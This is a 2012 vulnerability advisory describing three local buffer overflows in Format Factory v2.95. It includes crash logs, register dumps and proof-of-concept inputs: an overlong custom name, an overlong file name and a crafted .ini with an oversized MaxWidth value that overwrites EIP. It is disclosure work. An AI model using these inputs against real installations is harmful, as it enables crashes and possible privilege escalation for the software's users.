Format Factory 2.95 Buffer Overflows

`Title:  
======  
Format Factory v2.95 - Buffer Overflow Vulnerabilities  
  
  
Date:  
=====  
2012-05-02  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=536  
http://www.vulnerability-lab.com/get_content.php?id=539  
  
  
VL-ID:  
=====  
536  
  
  
Introduction:  
=============  
Format Factory is a multifunctional media converter. Provides functions below ...  
  
- All to MP4/3GP/MPG/AVI/WMV/FLV/SWF.  
- All to MP3/WMA/AMR/OGG/AAC/WAV.  
- All to JPG/BMP/PNG/TIF/ICO/GIF/TGA.  
- Rip DVD to video file , Rip Music CD to audio file.   
- MP4 files support iPod/iPhone/PSP/BlackBerry format.  
- Supports RMVB,Watermark, AV Mux.  
  
Format Factory`s Feature:  
  
- support converting all popular video,audio,picture formats to others.  
- Repair damaged video and audio file.  
- Reducing Multimedia file size.  
- Support iphone,ipod multimedia file formats.  
- Picture converting supports Zoom,Rotate/Flip,tags.  
- DVD Ripper.  
- Supports 60 languages  
  
- All Windows OS  
  
(Copy of the Vendor Homepage: http://www.formatoz.com )  
  
  
Abstract:  
=========  
The Vulnerability Laboratory Research Team discovered multiple Buffer Overflow Vulnerabilities in Format Factory v2.95 Software.  
  
  
Report-Timeline:  
================  
2012-05-01: Public or Non-Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Affected Products:  
==================  
Free Time  
Product: Format Factory v2.95  
  
  
Exploitation-Technique:  
=======================  
Local  
  
  
Severity:  
=========  
Critical  
  
  
Details:  
========  
1.1  
A Buffer Overflow vulnerability is detected in Format Factory v2.95 Software.  
The vulnerability allows an local attacker to overwrite the ecx & eip to control the affected vulnerable process.  
Successful exploitation can result is privilege escalation with system access rights of the affected vulnerable   
software process. The vulnerability is located on the Custom Profile module when processing to add a file.  
  
  
Vulnerable Module(s):  
[+] Custom Profile - File Add  
  
  
--- Error Report (System) ---  
Version=1  
EventType=BEX  
EventTime=129801306605752827  
ReportType=2  
Consent=1  
ReportIdentifier=0140e860-918d-11e1-ba1b-a7b309768cde  
IntegratorReportIdentifier=0140e85f-918d-11e1-ba1b-a7b309768cde  
WOW64=1  
Response.type=4  
Sig[0].Name=Anwendungsname  
Sig[0].Value=FormatFactory.exe  
Sig[1].Name=Anwendungsversion  
Sig[1].Value=2.95.0.0  
Sig[2].Name=Anwendungszeitstempel  
Sig[2].Value=4f848c41  
Sig[3].Name=Fehlermodulname  
Sig[3].Value=StackHash_059a  
Sig[4].Name=Fehlermodulversion  
Sig[4].Value=0.0.0.0  
Sig[5].Name=Fehlermodulzeitstempel  
Sig[5].Value=00000000  
Sig[6].Name=Ausnahmeoffset  
Sig[6].Value=00410041 <= ecx overwritten  
Sig[7].Name=Ausnahmecode  
Sig[7].Value=c0000005  
Sig[8].Name=Ausnahmedaten  
  
... &  
  
EventType=APPCRASH  
EventTime=129801310355837320  
ReportType=2  
Consent=1  
ReportIdentifier=e0c79250-918d-11e1-ba1b-a7b309768cde  
IntegratorReportIdentifier=e0c7924f-918d-11e1-ba1b-a7b309768cde  
WOW64=1  
Response.type=4  
Sig[0].Name=Anwendungsname  
Sig[0].Value=FormatFactory.exe  
Sig[1].Name=Anwendungsversion  
Sig[1].Value=2.95.0.0  
Sig[2].Name=Anwendungszeitstempel  
Sig[2].Value=4f848c41  
Sig[3].Name=Fehlermodulname  
Sig[3].Value=FormatFactory.exe  
Sig[4].Name=Fehlermodulversion  
Sig[4].Value=2.95.0.0  
Sig[5].Name=Fehlermodulzeitstempel  
Sig[5].Value=4f848c41  
Sig[6].Name=Ausnahmecode  
Sig[6].Value=c0000005  
Sig[7].Name=Ausnahmeoffset  
Sig[7].Value=00008f53  
  
  
Picture(s):  
../1.png  
../2.png  
  
  
  
1.2  
A Buffer Overflow vulnerability is detected in Format Factory v2.95 Software. The Buffer Overflow Vulnerability is   
located when processing to load large file names. Successful exploitation results in a local null ptr buffer overflow.  
Attackers can form or load files (local) large names or extension name to crash the software stable when processing to   
save the input. The vulnerability did not allow to overwrite any registers of the affected vulnerable process.   
  
  
  
--- Error Report (System) ---  
Problem Event Name: BEX  
Application Name: FormatFactory.exe  
Application Version: 2.60.0.0  
Application Timestamp: 4cd197df  
Fault Module Name: MSVCR100.dll  
Fault Module Version: 10.0.30319.1  
Fault Module Timestamp: 4ba1dbbe  
Exception Offset: 0008ae6e  
Exception Code: c0000417  
Exception Data: 00000000  
OS Version: 6.1.7600.2.0.0.256.1  
Locale ID: 1033  
Additional Information 1: e07f  
Additional Information 2: e07f7afc2abe4439f8a8f96d499e3027  
Additional Information 3: 5154  
Additional Information 4: 515482f92719c2dc6fc04ebc97d28463  
  
  
  
Picture(s):  
../3.png  
../4.png  
  
  
  
1.3  
A Buffer Overflow vulnerability is detected in Format Factory v2.95 Software. The Buffer Overflow Vulnerability is   
located in the *.ini configuration file when processing to load the maxwidth size. Local attackers can implement   
or replace the ini settings to overwrite the EIP register. Successful exploitation can result is privilege escalation   
with system access rights of the affected vulnerable software process.  
  
Vulnerable Module(s):  
[+] INI - Width & Height - Size & Buffer Validation  
  
  
--- Error Report (System) ---  
EventType=BEX  
EventTime=129801380523760695  
ReportType=2  
Consent=1  
ReportIdentifier=371c0b8c-919e-11e1-ba1b-a7b309768cde  
IntegratorReportIdentifier=371c0b8b-919e-11e1-ba1b-a7b309768cde  
WOW64=1  
Response.type=4  
Sig[0].Name=Anwendungsname  
Sig[0].Value=FormatFactory.exe  
Sig[1].Name=Anwendungsversion  
Sig[1].Value=2.95.0.0  
Sig[2].Name=Anwendungszeitstempel  
Sig[2].Value=4f848c41  
Sig[3].Name=Fehlermodulname  
Sig[3].Value=StackHash_059a  
Sig[4].Name=Fehlermodulversion  
Sig[4].Value=0.0.0.0  
Sig[5].Name=Fehlermodulzeitstempel  
Sig[5].Value=00000000  
Sig[6].Name=Ausnahmeoffset  
Sig[6].Value=41414141 <= overwritten register EIP  
Sig[7].Name=Ausnahmecode  
Sig[7].Value=c0000005  
Sig[8].Name=Ausnahmedaten  
Sig[8].Value=00000008  
DynamicSig[1].Name=Betriebsystemversion  
DynamicSig[1].Value=6.1.7601.2.1.0.768.3  
DynamicSig[2].Name=Gebietsschema-ID  
DynamicSig[2].Value=1031  
DynamicSig[22].Name=Zusatzinformation 1  
DynamicSig[22].Value=059a  
DynamicSig[23].Name=Zusatzinformation 2  
DynamicSig[23].Value=059a393e1c4f8097b3d5573aa130c733  
DynamicSig[24].Name=Zusatzinformation 3  
DynamicSig[24].Value=563a  
DynamicSig[25].Name=Zusatzinformation 4  
DynamicSig[25].Value=563a7086139512fa1af4651c2e9f9f50  
  
  
Picture(s):  
../5.png  
../6.png  
  
  
Proof of Concept:  
=================  
The stack & -buffer overflow vulnerabilities can be exploited by local attackers. For demonstration or reproduce ...  
  
1.1  
1024 bytes String via add custom name to reproduce the vulnerability.  
  
--- Exception Logs (ECX Overwrite) ---  
(109c.6a4): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=001cb628 ebx=001cc340 ecx=00000041 edx=02dedfdc esi=fd3e3024 edi=00a522e0  
eip=013b8f53 esp=001cb2e8 ebp=001cb2ec iopl=0 nv up ei pl nz na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206  
*** ERROR: Module load completed but symbols could not be loaded for C://Program Files   
(x86)/FreeTime/FormatFactory/FormatFactory.exe  
FormatFactory+0x8f53:  
013b8f53 66890c16 mov word ptr [esi+edx],cx ds:002b:001d1000=????  
  
  
  
1.2  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAA.txt  
  
  
1.3  
../PoC.ini  
  
Type=JPG  
Icon=4  
MaxWidth=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
SizeLimit=0  
Rotate=0  
AddTagString=0  
Angle=0.000  
FontColor=0  
TagString=  
FontName=  
Position=0  
Margin=0  
FontSize=0  
FontItalic=0  
FontUnderline=0  
  
Note: Exploit available in python & perl.  
  
  
  
Risk:  
=====  
1.1  
The security risk of the local buffer overflow vulnerability is estimated as high(-).  
  
1.2  
The security risk of the local buffer overflow vulnerability is estimated as medium(+).  
  
1.3  
The security risk of the local buffer overflow vulnerability is estimated as high(-).  
  
  
Credits:  
========  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (Rem0ve) [[email protected]]  
Vulnerability Laboratory [Research Team] - Ibrahim El-Sayed (the_storm) [[email protected]]  
  
  
Disclaimer:  
===========  
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,   
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-  
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business   
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some   
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation   
may not apply.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com  
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com  
Contact: [email protected] - [email protected] - irc.vulnerability-lab.com  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.   
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of   
other media, are reserved by Vulnerability-Lab Research Team or its suppliers.  
  
Copyright © 2012 Vulnerability-Lab  
  
  
--   
VULNERABILITY RESEARCH LABORATORY TEAM  
Website: www.vulnerability-lab.com  
Mail: [email protected]  
  
`